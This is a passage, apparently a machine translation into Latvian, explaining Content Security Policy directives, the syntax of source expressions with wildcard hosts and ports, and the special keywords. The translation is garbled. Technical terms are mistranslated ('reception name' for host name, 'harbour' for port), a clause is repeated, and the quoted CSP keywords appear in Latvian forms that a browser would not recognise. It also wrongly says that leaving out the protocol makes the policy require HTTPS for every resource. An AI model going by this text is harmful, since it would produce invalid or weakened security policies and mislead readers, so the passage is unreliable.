  • skripts-src.
  • stils-src.

Papildus tam, īpašo direktīvu noklusējuma-SRC var izmantot, lai nodrošinātu noklusējuma vērtību visām direktīvām, kas nav iekļauti nosaukumā.

Avota izpausme

Sintakse, lai izveidotu avota izpausmi, ir šāds:

protokols: // Uzņemšanas nosaukums: porta numurs

Uzņēmēja nosaukums var sākties ar *, tas nozīmē, ka tiks atrisināts jebkurš apakšdomēns uz uzņēmēja nosaukuma tiks atrisināts. Tāpat ostas numuru var pārstāvēt kā *, tas nozīmē, ka visas ostas tiks atrisinātas. Turklāt protokolu un porta numuru var palaist garām. Ja protokols nav norādīts, politika prasīs visus resursus, kas jāielādē, izmantojot HTTPS.

Papildus iepriekš minētajam sintaksei avota izteiksme var būt viens no četriem atslēgvārdiem ar īpašu vērtību (citāti) kā alternatīvu:

"Neviens" aizliedz resursus. "Self" ļauj resursiem no saimnieka, kurā atrodas tīmekļa lapa. "Nedrošs inline" ļauj resursiem, kas iekļauti lapā kā iebūvēts